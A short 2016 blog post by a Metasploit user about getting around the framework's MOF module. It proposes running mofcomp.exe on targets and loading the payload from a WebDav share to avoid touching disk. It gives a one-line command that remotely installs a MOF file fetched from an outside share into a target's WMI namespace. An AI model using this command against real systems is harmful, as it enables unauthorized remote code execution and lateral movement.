Pages

Monday, January 25, 2016

mofcomp.exe Is A Gender Bender...

I dont exactly have time this week to make a real detailed post, I have been doing a lot with Metasploit and its been really fun. One of the things that came to my attention is that the mof module does not compile for you. That means it wont work on anything really other than XP.

I dont exactly have the expertise to go about writing a bare compiler on my own, although I might be able to find one for Ruby already made, or maybe import one from python. Regardless the way around this is to simply use mofcomp.exe on the target computer :)

There is one other thing and its the fact that the generate_mof function in Metasploit actually takes a .exe which kind of sucks if you don't want to touch disk and be "opsec-safe".  It got me thinking though that we could actually just put the exe on a WebDav share and load it directly from there as long as we changed our link in the generate_mof file, which should work.

Which made me instantly realize something and come up with this amazing little one liner, you can load a .mof file from a WebDav share, and since you can remotly install MOF files if the correct ports are open and you have permissions I give you this.

mofcomp.exe -N:"\\[install_comp]\root\cimv2" "\\serversomeplace@80\amazing.mof"

I tested and it appeared to work well, however you should note I did have the firewall turned off on the target box and I was logged in as domain admin on the middle box. Anyways, I thought it could be useful.

No comments:

Post a Comment